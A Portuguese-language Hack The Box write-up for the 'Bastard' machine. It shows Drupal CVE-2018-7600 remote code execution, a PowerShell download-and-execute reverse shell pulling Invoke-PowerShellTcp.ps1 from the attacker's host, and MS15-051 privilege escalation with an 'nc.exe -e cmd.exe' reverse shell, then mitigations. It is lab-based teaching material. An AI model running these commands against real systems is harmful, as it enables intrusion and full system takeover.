Bastard - HTB Medium Machine - Português Brasil

OS Windows
Difficulty Medium
User Owns 13.9K
Root Owns 12.9K
Rating 4.8/5
Release 2017/03/18
Creator ch4p
First Blood User vagmour
First Blood Root adxn37
User Rated Difficulty

Sobre

Bastard não é muito desafiador, mas exige algum conhecimento de PHP para adaptar e usar a prova de conceito necessária ao ponto de entrada. A máquina ilustra bem o impacto que vulnerabilidades em sistemas de gerenciamento de conteúdo podem ter.

Exploração

Enumeração

O scan com nmap revelou apenas a porta HTTP 80 aberta e identificou o sistema como Windows. O nmap também listou vários diretórios como disallowed.

PORT      STATE SERVICE VERSION  
80/tcp    open  http    Microsoft IIS httpd 7.5  
|_http-title: Welcome to Bastard | Bastard  
|_http-server-header: Microsoft-IIS/7.5  
|_http-generator: Drupal 7 (http://drupal.org)  
| http-robots.txt: 36 disallowed entries (15 shown)  
| /includes/ /misc/ /modules/ /profiles/ /scripts/    
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt    
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt    
|_/LICENSE.txt /MAINTAINERS.txt  
| http-methods:    
|_  Potentially risky methods: TRACE  
135/tcp   open  msrpc   Microsoft Windows RPC  
49154/tcp open  msrpc   Microsoft Windows RPC  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Ao vasculhar os diretórios apontados como disallowed, encontrei o CHANGELOG.txt, que traz informações úteis sobre a versão do Drupal em execução.

Screenshot

Ao pesquisar a versão, encontrei a CVE-2018-7600. Trata-se de uma falha que permite execução remota de código por conta de validação inadequada de entradas em vários subsistemas do Drupal.

Note

A vulnerabilidade explora a validação de entrada no Form API do Drupal, especificamente em arrays de renderização (renderable arrays) usados para construir elementos da interface. Um atacante remoto não autenticado pode enviar uma requisição HTTP especialmente manipulada (por exemplo usando parâmetros com '#') para injetar e executar código PHP no servidor. Funções de callback como #post_render, #pre_render, #access_callback e #lazy_builder, se não forem devidamente sanitizadas, podem permitir chamadas perigosas como exec, system ou eval.

Essa imagem do cwe mitre ilustra o conceito da vulnerabilidade.
cwe-20

Voltando à exploração: existe um script que permite executar comandos remotamente. Por padrão ele tenta rodar id (que não retorna nada em Windows). Usando a flag -c "whoami" é possível confirmar que o injection funciona.

┌── ➤ CVE-2018-7600  
└─ [master]$ python3 drupa7-CVE-2018-7600.py http://10.10.10.9 -c "whoami"
  
=============================================================================  
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |  
|                              by pimps                                     |  
=============================================================================  
  
[*] Poisoning a form and including it in cache.  
[*] Poisoned form ID: form-_BV2OTkKaLQw0hyUdFkOOWAQKpvO_Vli3saDkPcCm2k  
[*] Triggering exploit to execute: whoami

nt authority\iusr

Com objetivo de aprender um pouco mais sobre rust eu reescrevi esse payload na linguagem e vou utiliza-lo no próximo tópico, e recomendo você a fazer o mesmo com a sua linguagem de preferencia, pois isso ajuda a entender a vulnerabilidade e evoluir como desenvolvedor.

Ponto de Entrada

Com o exploit funcionando, executei os passos para obter um shell remoto no Windows.

Usei um comando PowerShell que baixa e executa o Invoke-PowerShellTcp.ps1, retornando um shell reverso.

┌── ➤ cve-2018-7600  
└─ [master]$ cargo run -- -u http://10.10.10.9 -c "powershell iex(New-ObjectNet.WebClient).DownloadString('http://10.10.16.10:8001/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.10 -Port 9002"

=============================================================================  
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |  
=============================================================================  
  
[*] Poisoning a form and including it in cache.  
[*] Poisoned form ID: form-yRQTHazLb6DG6enkzj0W6d1yCPlziz7WukAWdziN7ig  
[*] Triggering exploit to execute: powershell iex(New-Object Net.WebClient).DownloadString('http://10.10.16.10:8001/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.10 -Port 9002

No meu listener recebi o shell. O comando whoami confirma que o processo roda como nt authority\iusr.

nc -lvnp 9002  
Listening on 0.0.0.0 9002  
Connection received on 10.10.10.9 59675  
Windows PowerShell running as user BASTARD$ on BASTARD  
Copyright (C) 2015 Microsoft Corporation. All rights reserved.  
  
PS C:\inetpub\drupal-7.54>whoami  
nt authority\iusr

Tip

Se quiser ver esse processo em mais detalhes, confira a seção do cookbook.

USER

Com acesso remoto como nt authority\iusr, explorei o sistema e encontrei uma conta de usuário cujo desktop contém a primeira flag.

PS C:\Users\dimitris\Desktop> type user.txt  
56d58461fef5d6e.....

Escalação de Privilégios

Não consegui executar Sherlock, Watson nem winPEAS na máquina; por isso fiz enumeração manual. O comando systeminfo mostra que o kernel é antigo.

PS C:\inetpub\drupal-7.54> systeminfo  
  
Host Name:                 BASTARD  
OS Name:                   Microsoft Windows Server 2008 R2 Datacenter    
OS Version:                6.1.7600 N/A Build 7600  
OS Manufacturer:           Microsoft Corporation  
OS Configuration:          Standalone Server  
OS Build Type:             Multiprocessor Free  
Registered Owner:          Windows User  
Registered Organization:      
Product ID:                55041-402-3582622-84461  
Original Install Date:     18/3/2017, 7:04:46 ??  
System Boot Time:          20/9/2025, 11:54:43 ??  
System Manufacturer:       VMware, Inc.  
System Model:              VMware Virtual Platform  
System Type:               x64-based PC  
Processor(s):              2 Processor(s) Installed.  
                          [01]: AMD64 Family 25 Model 1 Stepping 1 Authentic  
AMD ~2595 Mhz  
                          [02]: AMD64 Family 25 Model 1 Stepping 1 Authentic  
AMD ~2595 Mhz  
BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020  
Windows Directory:         C:\Windows  
System Directory:          C:\Windows\system32  
Boot Device:               \Device\HarddiskVolume1  
System Locale:             el;Greek  
Input Locale:              en-us;English (United States)  
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul  
Total Physical Memory:     2.047 MB  
Available Physical Memory: 1.551 MB  
Virtual Memory: Max Size:  4.095 MB  
Virtual Memory: Available: 3.575 MB  
Virtual Memory: In Use:    520 MB  
Page File Location(s):     C:\pagefile.sys  
Domain:                    HTB  
Logon Server:              N/A  
Hotfix(s):                 N/A  
Network Card(s):           1 NIC(s) Installed.  
                          [01]: Intel(R) PRO/1000 MT Network Connection  
                                Connection Name: Local Area Connection  
                                DHCP Enabled:    No  
                                IP address(es)  
                                [01]: 10.10.10.9

Diante do kernel antigo, testei alguns payloads do repositório 51x/WHP, que reúne exploits de kernel para elevação de privilégios. Um dos alvos compatíveis é a vulnerabilidade MS15-051 (Win32k LPE), que afeta versões antigas como Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 e Windows 7 SP1.

Foi difícil achar um payload estável, pois muitos exigem pré-condições com credências, que não tenho. No entanto, encontrei um executável no repositório SecWiki/windows-kernel-exploits que explora a falha e permite executar comandos como nt authority\system.

Para usar esse exploit, primeiro iniciei um servidor SMB para hospedar o binário e os payloads.

└─ $ mkdir smb

└─ $ sudo smbserver.py share smb     
/usr/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as ​2025-11-30. Refrain from using this package or pin to Setuptools<81.
 import pkg_resources  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies    
  
[*] Config file parsed  
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0  
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0  
[*] Config file parsed  
[*] Config file parsed

Testando o exploit com whoami é possível ver que o comando é executado como nt authority\system.

PS C:\inetpub\drupal-7.54> \\10.10.16.10\share\ms15-051x64.exe "whoami"
nt authority\system

Para obter um shell reverso usei nc.exe, que permite invocar cmd.exe e conectar a um listener remoto.

└─ $ locate nc.exe  
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe

Copiei o nc.exe para o diretório do SMB:

└─ $ cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe smb

Em seguida executei o payload apontando para o nc.exe e solicitando uma conexão reversa para minha máquina.

PS C:\inetpub\drupal-7.54> \\10.10.16.10\share\ms15-051x64.exe "\\10.10.16.10\share\nc.exe -e cmd.exe 10.10.16.10 9003"

Consegui o shell reverso como nt authority\system, o que me deu acesso total à máquina.

└─ $ nc -lvnp 9003  
Listening on 0.0.0.0 9003  
Connection received on 10.10.10.9 59677  
Microsoft Windows [Version 6.1.7600]  
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.  
  
C:\inetpub\drupal-7.54>whoami  
whoami  
nt authority\system

Tip

Se quiser ver esse processo em mais detalhes, confira a seção do cookbook.

ROOT

Por fim, acessei a área de trabalho do usuário Administrator e peguei a flag final.

C:\Users\Administrator\Desktop>type root.txt  
type root.txt  
7f3205d903895.....

Análise de Vulnerabilidades

  • Drupal RCE (CVE-2018-7600): o site executa uma versão do Drupal vulnerável que permite envio de entradas especialmente manipuladas a Form API, resultando em execução remota de código. No writeup esse vetor foi identificado a partir da versão encontrada no CHANGELOG e explorado com um exploit que injeta payloads, levando a execução de comandos com o contexto do serviço web (comprometimento de integridade e confidencialidade, possibilidade de pivot e persistência).

  • Divulgação de versão / informação sensível: arquivos expostos (ex.: CHANGELOG.txt e entradas em robots.txt) revelaram a versão do Drupal e diretórios restritos, facilitando a identificação de exploits aplicáveis. Isso reduz o tempo do atacante para escalonar a exploração.

  • Configuração HTTP insegura (métodos/headers): o servidor responde com métodos potencialmente arriscados (TRACE) e divulga cabeçalhos e metadados que ajudam a fingerprint do ambiente. Essas informações aumentam a superfície de ataque e permitem técnicas de exploração ou fingerprinting mais eficientes.

  • Elevation of Privilege no kernel Windows (MS15-051): a máquina roda um kernel/patchlevel vulnerável que permite elevar conta limitada a NT AUTHORITY\SYSTEM via exploit Win32k. No cenário do writeup o exploit local foi usado para executar binários como SYSTEM, resultando em completa perda de confinamento e risco total ao sistema.

  • Execução remota de ferramentas via download/SMB: a exploração dependia de permitir que o processo web/usuário baixasse e executasse scripts/execuções remotas (PowerShell download e execução, execução de binários via caminho SMB). Isso mostra falta de controles de egress, restrições de execução de scripts e políticas de execução de código provenientes de redes externas.

Mitigação das Vulnerabilidades

  • Drupal RCE (CVE-2018-7600) Mitigação (para sysadmin/developer): atualizar o Drupal imediatamente para uma versão fixa e aplicar todos os patches de segurança disponíveis. Como mitigação adicional, habilitar um WAF com regras para Drupal, minimizar módulos e temas instalados, e executar o servidor web com o mínimo de privilégios; developers devem revisar pontos de entrada que constroem renderable arrays e evitar callbacks inseguros ou funções que executem código arbitrário.

  • Divulgação de versão / informação sensível Mitigação (sysadmin): remover ou proteger arquivos como CHANGELOG.txt, INSTALL*.txt e similares do webroot (ou negar acesso via configuração do servidor). Padronizar robots.txt para não listar caminhos sensíveis e suprimir detalhes de versão em páginas públicas/headers.

  • Configuração HTTP insegura Mitigação (sysadmin): desabilitar métodos HTTP desnecessários (como TRACE) no IIS e reduzir exposição de cabeçalhos que informam versão/tecnologia. Aplicar hardening do servidor web (guides do fornecedor), habilitar logging e alertas para tentativas de uso de métodos incomuns.

  • Elevation of Privilege (MS15-051) Mitigação (sysadmin): aplicar patches do Windows e manter um processo contínuo de gestão de patches; onde possível, habilitar proteção contra execução de binários não autorizados (AppLocker/Windows Defender Application Control) e restringir execução a partir de shares de rede. Monitore criação de processos privilegiados e eventos de escalonamento; isolar servidores críticos da execução de código não verificado.

  • Execução remota (PowerShell / SMB) Mitigação (sysadmin): restringir egress (bloquear downloads diretos de hosts não aprovados), aplicar regras de firewall de saída, e usar GPO para limitar execução do PowerShell (constrained language mode, habilitar ScriptBlockLogging/AMSI). Evitar permitir execução direta de executáveis a partir de shares anônimos e habilitar assinatura/aprovação de binários.

Notas

Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.

Referências

the master 0xdf
drupalgeddon2
cve-2018-7600
NIST CVE-2018-7600
CWE 20
NIST CVE-2015-1701
MS15-051-KB3045171
PayloadWHP